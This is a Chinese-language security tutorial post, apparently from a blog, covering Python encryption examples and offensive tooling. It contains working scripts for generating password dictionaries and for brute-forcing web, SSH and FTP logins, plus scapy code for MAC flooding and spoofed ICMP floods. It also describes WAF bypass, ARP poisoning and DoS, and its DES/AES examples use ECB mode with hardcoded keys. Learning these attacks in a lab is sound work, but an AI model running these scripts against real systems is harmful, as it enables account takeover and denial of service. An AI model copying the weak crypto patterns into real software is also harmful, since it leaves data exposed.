from Crypto.Cipher import DES import binasciikey = '12345678' # 密鑰 des = DES.new(key.encode('utf-8'),DES.MODE_ECB) # ECB模式 text = input("請輸入要加密的字符串:") # 要加密的字符串 text = text + (8-(len(text)%8)) * '=' # 數(shù)據(jù)塊對齊# 加密 encrypt_text = des.encrypt(text.encode('utf-8')) # Result1 = binascii.b2a_hex(encrypt_text) # 字符串轉(zhuǎn)為16進(jìn)制 print("DES加密后:"+str(Result1))# 解密 decrypt_text = binascii.a2b_hex(Result1) Result2 = des.decrypt(decrypt_text) print("DES解密后:"+str(Result2))Python實(shí)現(xiàn)AES加解密
AES加密算法的輪函數(shù)采用代替/置換網(wǎng)絡(luò)結(jié)構(gòu),包括S盒變換(ByteSub)、行移位變換(ShjhRow)、列混合變換(MixColumn)、圈密鑰加變換(AddRoundKey)。
AES為分組密碼的加密方式,其工作模式有五種: ECB、CBC、CTR、CFB、OFB.
from Crypto.Cipher import AES import binasciikey = 'abcdefghabcdefgh' # 密鑰長度須為8字節(jié) aes = AES.new(key.encode(),AES.MODE_ECB) # ECB模式 text = input("請輸入要加密的字符串:") # 要加密的字符串需為8字節(jié)的倍數(shù) text = text + (16-(len(text)%16)) * '=' # 數(shù)據(jù)塊對齊# 加密 encrypt_text = aes.encrypt(text.encode()) Result1 = binascii.b2a_hex(encrypt_text) # 字符串轉(zhuǎn)為16進(jìn)制 print("AES加密后:"+str(Result1))# 解密 decrypt_text = binascii.a2b_hex(Result1) # 16進(jìn)制轉(zhuǎn)為字符串 Result2 = aes.decrypt(decrypt_text) print("AES解密后:"+str(Result2))Python實(shí)現(xiàn)MD5加密
MD5是以512位的分組來處理輸人的信息,并且將每一分組又劃分成16個32位的子分組,經(jīng)過了一系列的處理后,算法的輸出由四個32位的分組組成,將這四個32位的分組結(jié)合后將生成一個128位的散列值.
用Python實(shí)現(xiàn)MD5加密時用到的是hashlib模塊,可以通過hashlib標(biāo)準(zhǔn)庫使用多種Hash算法,如SHA1、SHA224、SHA256、SHA384、SHA512和MD5算法等。
from hashlib import md5def main(s):new_md5 = md5()new_md5.update(s.encode('utf-8'))print(new_md5.hexdigest())if __name__ == '__main__':main(input("請輸入要加密的字符串:"))七、身份認(rèn)證
身份認(rèn)證攻擊總的來說分為三種攻擊🤺方式:
字典📕破解:利用工具提前生成好字典文件,只需讓破解腳本對📕的內(nèi)容逐一嘗試破解即可。這種方式效率高,成功率一般。
暴力💣破解:這種方式最為粗暴,不需要📕。將所有可能性的密碼組合(如字母+數(shù)字+特殊字符)全部進(jìn)行嘗試。這種方式需要花費(fèi)大量的時間,效率很低,但是在沒有其他條件限制的情況下肯定能猜到密碼,成功率高。
混合破解:多種破解技術(shù)結(jié)合使用。這種方法效率高,成功率也較高。
Python社工字典生成
import itertoolsdef ReadInformationList(infolist):for i in range(1,3):lines = input('請輸入第%s個關(guān)鍵字:'%i)infolist.append(lines.strip())def CreateNumberList(numberList):words = "0123456789"itertoolsNumberList = itertools.product(words,repeat=2) # 所有兩位數(shù)for number in itertoolsNumberList:numberList.append("".join(number))def CreateSpecialList(specialList):specialWords = "~!@#$%^&*()_+`-=,/:><.\|" # 特殊字符for i in specialWords:specialList.append("".join(i))# 創(chuàng)建Combinatjon()函數(shù)字典生成算法主體 可自定義組合算法 # 關(guān)鍵字與兩位數(shù)和一位特殊字符組合 def main(dictionaryFile):for a in range(0,len(infolist)):for b in range(0, len(numberList)):for c in range(0,len(specialList)):dictionaryFile.append(infolist[a] + numberList[b] + specialList[c])dictionaryFile.append(infolist[a] + specialList[c] + numberList[b])dictionaryFile.append(specialList[c] + infolist[a] + numberList[b])dictionaryFile.append(specialList[c] + numberList[b] + infolist[a])dictionaryFile.append(numberList[b] + infolist[a] + specialList[c])dictionaryFile.append(numberList[b] + specialList[c] + infolist[a])for i in dictionaryFile:print(i)if __name__ == '__main__':infolist =[]ReadInformationList(infolist)numberList = []CreateNumberList(numberList)specialList = []CreateSpecialList(specialList)dictionaryFile = []main(dictionaryFile)Python后臺弱口令爆破
🐵🐵🐵🐵🐵🐵🐵🐵弱口令🇾🇾🇩🇸🐵🐵🐵🐵🐵🐵🐵🐵
DVWA靶場 根據(jù)返回數(shù)據(jù)包的不同---💣成功與否,關(guān)鍵在于📕是否強(qiáng)大
import requestsdef get_user(user):a = open('username.txt','r')for i in a:user.append(i.strip())def get_psd(psd):b = open('password.txt','r')for i in b:psd.append(i.strip())def main():cookiesDit = {'security':'low','PHPSESSID':'ridh5ntp6u7ua2lisb1469c2r4'}for c in user:for d in psd:url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/?username={}&password={}&Login=Login'.format(c,d)responses = requests.get(url,cookies=cookiesDit)if 'Welcome to the password' in responses.text:print("success!!! 用戶名:{},密碼:{}".format(c,d))if __name__ == '__main__':user = []get_user(user) psd =[]get_psd(psd)main()SSH暴力破解
**SSH(SecureShell)是目前較可靠、專為遠(yuǎn)程登錄會話和其他網(wǎng)絡(luò)服務(wù)提供安全性的協(xié)議,主要用于給遠(yuǎn)程登錄會話數(shù)據(jù)進(jìn)行加密,保證數(shù)據(jù)傳輸?shù)陌踩?*🇸SH口令長度太短或者復(fù)雜度不夠,如僅包含數(shù)字🔢或僅包含字母🔤等時,容易被🤺攻擊者破解。口令—旦被🤺攻擊者獲取,將可用來直接登錄系統(tǒng),控制服務(wù)器的所有權(quán)限!
SSH主要應(yīng)用于類UNIX系統(tǒng)中,從客戶端來看, SSH提供兩種級別的安全驗證:1?基于密碼的安全驗證、2??基于密鑰🗝?的安全驗證.
from pexpect import pxssh import optparse from threading import *Max_Connect = 5 connection_lock = BoundedSemaphore(value=Max_Connect) # BoundedSemaphore 限制多進(jìn)程訪問def connect(host, user, password):try:s = pxssh.pxssh() #pxssh不支持Windowss.login(host, user, password)print("[+]Password Found:"+password)Found = Trueexcept Exception as e:pass def main():parser = optparse.OptionParser('usage %prog -H <target host> -f <passwd file> -u <username>')parser.add_option('-H', dest='host', type='string', help='target host')parser.add_option('-f', dest='passwdfile',type='string', help='passwofile')parser.add_option('-u', dest='user', type='string', help='login username')(options,args) = parser.parse_args()host = options.hostpasswdfile = options.passwdfileuser = options.userif host==None or passwdfile==None or user==None:print(parser.usage)exit(0)mn = open(passwdfile,'r')lines = mn.readlines()for line in lines:with connection_lock:password = line.strip('\n')print('[-] Test:'+str(password))t = Thread(target=connect,args=(host, user, password))t.start() if __name__ == '__main__':main()FTP暴力破解
1?FTP是一個文件傳輸協(xié)議,用戶通過🇫TP可從客戶機(jī)程序向遠(yuǎn)程主機(jī)上傳或下載文件,常用于網(wǎng)站代碼維護(hù)、日常源碼備份等。如果攻擊者🤺通過🇫TP匿名訪問或者通過弱口令破解獲取FTP權(quán)限,將可直接上傳📤WebShell來進(jìn)一步滲透提權(quán),直至控制整個網(wǎng)站服務(wù)器。
2?FTP是基于🇹CP的,🇫TP的命令端口為21,數(shù)據(jù)端口為20。🇫TP的任務(wù)是將一臺💻的文件傳送到另一臺💻上。在使用🇫TP前需要進(jìn)行身份驗證,驗證通過后才能獲得相應(yīng)的權(quán)限。
import ftplib# 檢查FTP是否允許匿名賬戶登錄 def CheckFTP_login(hostname):f = ftplib.FTP(hostname)try:print('[-] checking user [anonymous] with password [anonymous]')f.connect(hostname,21,timeout=10)f.login()print("\n[+] Credentials have found succcessfully.")print("\n[+] Username:anonymous")print("\n[+] Password:anonymous")print("success!!!username:{},password:{}".format("anonymous","anonymous"))f.quit()except ftplib.all_errors:print("\n[+] Anonymous login is prohibited!!!")pass # 爆破用戶名和密碼 def violence_Login(hostname):ftp=ftplib.FTP(hostname)u=open('ftp_user.txt','r')lines_user=u.readlines()usernameList = []for m in lines_user:usernameList=[' '.join([n.strip() for n in usr.strip().split('\t')]) for usr in lines_user]p=open('ftp_pwd.txt','r')lines_psd=p.readlines()passwordList = []for m in lines_psd:passwordList=[' '.join([n.strip() for n in psd.strip().split('\t')]) for psd in lines_psd]for user in usernameList:for pasw in passwordList:try:if ftp.login(user,pasw):print("\n[+] success!!! username:{},password:{}".format(user,pasw))ftp.quit() except:passCheckFTP_login('192.168.12.131') violence_Login('192.168.12.131')1??允許匿名登錄
2??禁止匿名登錄
八、Fuzz測試
FUZZ在滲透測試中應(yīng)用廣泛,可以用于硬件測試軟件測試、安全測試等,是一種高效的、能快速檢查潛在安全威脅的技術(shù)。
Python繞過安全狗
安全狗版本為v4.0 Apache版 + 本地DVWA-SQL Injection
常見的繞過安全🐶的方式有4種:利用string繞過、利用User-agent繞過、利用MySQL語法和html的特殊性繞過、利用畸形數(shù)據(jù)包繞過。
判斷返回的頁面是否為安全🐶攔截顯示的頁面,使用頁面中返回的攻擊請求進(jìn)行判斷,不存在這4個字,則表示已經(jīng)繞過了安全狗。
🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌🐌
九、Scapy進(jìn)劫
ARP毒化
ARP(地址解析協(xié)議)是數(shù)據(jù)鏈路層的協(xié)議,主要負(fù)責(zé)根據(jù)網(wǎng)絡(luò)層地址(ip)來獲取數(shù)據(jù)鏈路層地址(MAC)。
ARP毒化雖然是一種比較老的滲透測試技術(shù),但是在信息搜集方面能發(fā)揮出很不錯的效果.通過ARP毒化技術(shù)分析并提取內(nèi)網(wǎng)流量中的敏感信息,往往會有許多意外的"收獲"。
以太網(wǎng)協(xié)議規(guī)定,同—局域網(wǎng)中的一臺💻要和另一臺💻進(jìn)行直接通信,必須知道目標(biāo)主機(jī)的MAC地址。而在TCP/IP中,網(wǎng)絡(luò)層只關(guān)注目標(biāo)主機(jī)的IP地址,這就導(dǎo)致在以太網(wǎng)中使用IP協(xié)議時,數(shù)據(jù)鏈路層的以太網(wǎng)協(xié)議接收到網(wǎng)絡(luò)層的IP協(xié)議提供的數(shù)據(jù)中,只包含目的主機(jī)的IP地址,于是需要ARP來完成IP地址到MAC地址的轉(zhuǎn)換。
ARP是建立在網(wǎng)絡(luò)中各個主機(jī)互相信任的基礎(chǔ)上的,主機(jī)接收到ARP應(yīng)答報文時不會檢測該報文的真實(shí)性,而直接將報文中的IP和MAC記入其ARP緩存表。如果ARP緩存表中有相同的地址項,則會對其進(jìn)行更新。由此,攻擊者🤺可以向受害主機(jī)發(fā)送偽ARP應(yīng)答包,毒化受害主機(jī)的ARP緩存表。
kali的IP地址:192.168.12.128 MAC地址為:00:0c:29:c5:a5:bb
目標(biāo)網(wǎng)關(guān)的IP地址:192.168.12.2 MAC地址為:00:50:56:e6:e8:7d
毒化前
毒化后
Dos
拒絕服務(wù)攻擊(DenialofServjce,DoS)使計算機(jī)或網(wǎng)絡(luò)無法提供正常的服務(wù),是黑客常用的攻擊🤺手段之—。常見的DoS攻擊🤺包括計算機(jī)網(wǎng)絡(luò)帶寬攻擊和連通性攻擊兩種類型。
帶寬攻擊是指以極大的通信量沖擊網(wǎng)絡(luò),使得所有可用網(wǎng)絡(luò)資源都被消耗殆盡,最后導(dǎo)致合法的用戶請求無法通過。
連通性攻擊指用大量的連接請求沖擊計算機(jī),使得所有可用的操作系統(tǒng)資源都被消耗殆盡,最終導(dǎo)致計算機(jī)無法再處理合法的用戶請求。
常用的拒絕服務(wù)攻擊🤺手段包括:
同步洪流、WinNuke、死亡之PING、Echl攻擊、ICMP/SMURF、Finger炸彈、Land攻擊、Ping洪流、Rwhod、tearDrop、TARGA3、UDP攻擊、OOB等。實(shí)際上拒絕服務(wù)攻擊🤺并不是一個攻擊🤺方式,而是指一類具有相似特征的攻擊🤺方式。黑客可能會利用TCP/IP協(xié)議層中的數(shù)據(jù)鏈路層、網(wǎng)絡(luò)層、傳輸層和應(yīng)用層各種協(xié)議漏洞發(fā)起拒絕服務(wù)攻擊🤺。
數(shù)據(jù)鏈路層Dos-MAC泛洪攻擊
數(shù)據(jù)鏈路層的拒絕服務(wù)攻擊其實(shí)就是通過偽造請求主機(jī)的MAC地址信息,使得交換機(jī)內(nèi)部CAM短時間填滿,失去交換機(jī)本身的記憶功能,退化成集線器,當(dāng)接收到正常數(shù)據(jù)包時,會將全部數(shù)據(jù)以廣播的形式發(fā)送出去。此時若攻擊者🤺將自己的主機(jī)設(shè)置為混雜模式,就可以監(jiān)聽網(wǎng)絡(luò)中的其他主機(jī)接收的數(shù)據(jù)了。
當(dāng)路由器接收到包含隨機(jī)生成的IP地址和MAC地址的數(shù)據(jù)包時,交換機(jī)查詢CAM,若不存在該信息,就會不斷進(jìn)行記錄。短時間內(nèi)’大量請求會導(dǎo)致CAM被填滿,失去交換機(jī)原有的功能。
from scapy.all import * import optparsedef attack(interface):pkt =Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()sendp(pkt,iface=interface)def main():parser =optparse.OptionParser("%prog "+"-i interface")parser.add_option('-i',dest='interface',default='eth0',type='string',help='Interface')(options,args)=parser.parse_args()interface = options.interfacetry:while True:attack(interface)except KeyboardInterrupt:print('--------------------')print('Finished!')if __name__ =='__main__':main()wireshark
網(wǎng)絡(luò)層Dos-死亡之Ping
控制多個僵尸主機(jī)一同向目標(biāo)主機(jī)發(fā)送數(shù)據(jù)時,會出現(xiàn)"死亡之ping",使目標(biāo)主機(jī)巖機(jī).
import sys from scapy.all import *def start(argv):if len(sys.argv)<2:print(sys.argv[0]+" <target_ip>")sys.exit(0)psrc = "6.6.6.6"while True:pdst = sys.argv[1]send(IP(src=psrc,dst=pdst)/ICMP()) s if __name__ == '__main__':# 定義異常try:start(sys.argv[1:])except KeyboardInterrupt:print("interrupted by user,killing all threads....")傳輸層Dos-SYN拒絕服務(wù)攻擊
1??攻擊者向目標(biāo)計算機(jī)發(fā)送一個TCP SYN報文。
2??目標(biāo)計算機(jī)收到這個報文后,建立TCP連接控制結(jié)構(gòu),并回應(yīng)一個ACK,等待發(fā)起者的回應(yīng)。
3??發(fā)起者則不向目標(biāo)計算機(jī)回應(yīng)ACK報文,這樣導(dǎo)致目標(biāo)計算機(jī)一直處于等待狀態(tài)。
應(yīng)用層Dos-Slowloris攻擊
位于應(yīng)用層的協(xié)議有很多,常見的包括HTTP、FTP、DNS、DHCP等。
其中應(yīng)用層中的每一個協(xié)議都有可能被用來發(fā)起拒絕服務(wù)攻擊。不同于其他層,應(yīng)用層拒絕服務(wù)攻擊已經(jīng)完成了TCP的三次握手,建立起了連接,所以發(fā)起攻擊🤺的IP地址都是真實(shí)的。常見的應(yīng)用層拒絕服務(wù)攻擊有CC(ChallengeCollapasar)攻擊、Slowloris攻擊、ServerLimitDOS等。
Slowloris攻擊
以極低的速度向服務(wù)器發(fā)送HTTP請求。由于WebServer對于并發(fā)的連接數(shù)都有一定的上限,因此若惡意地占用這些連接不釋放,那么WebServe的所有連接都將被惡意連接占用,從而無法接受新的請求,導(dǎo)致拒絕服務(wù)。
pip install slowloris 安裝
防御策略
1??關(guān)閉不需要的服務(wù)和端口,實(shí)現(xiàn)服務(wù)最小化,讓服務(wù)器提供專門服務(wù)。
2??安裝查殺病毒的軟硬件產(chǎn)品,及時更新病毒庫。盡量避免因為軟件漏洞而引起的拒絕服務(wù),定期掃描現(xiàn)有的主機(jī)和網(wǎng)絡(luò)節(jié)點(diǎn),對安全漏洞和不規(guī)范的安全配置進(jìn)行及時整改,對先前的漏洞及時打補(bǔ)丁。
3??經(jīng)常檢測網(wǎng)絡(luò)和主機(jī)的脆弱性,查看網(wǎng)上漏洞數(shù)據(jù)庫,以減少或避免主機(jī)成為肉雞的可能性。
4??建立多節(jié)點(diǎn)的負(fù)載均衡,配備高于業(yè)務(wù)需求的帶寬,建立多個網(wǎng)絡(luò)出口,提高服務(wù)器的運(yùn)算能力。
十、完結(jié)
🚶🚶🚶🚶🚶🚶🚶來來回回寫了兩星期?了,邊學(xué)📚?邊寫??,🥦歸🥦,收獲很多。
明天大年初一🧨,給CSDN的大佬們拜個年🧧🧧🧧
本人一名小小的網(wǎng)絡(luò)安全愛好者,如若文章有錯誤和不妥之處,敬請大佬們請教指正。
總結(jié)
以上是生活随笔為你收集整理的Python安全攻防-从入门到入狱的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: PHP函数array_intersect
- 下一篇: 新手查杀木马大全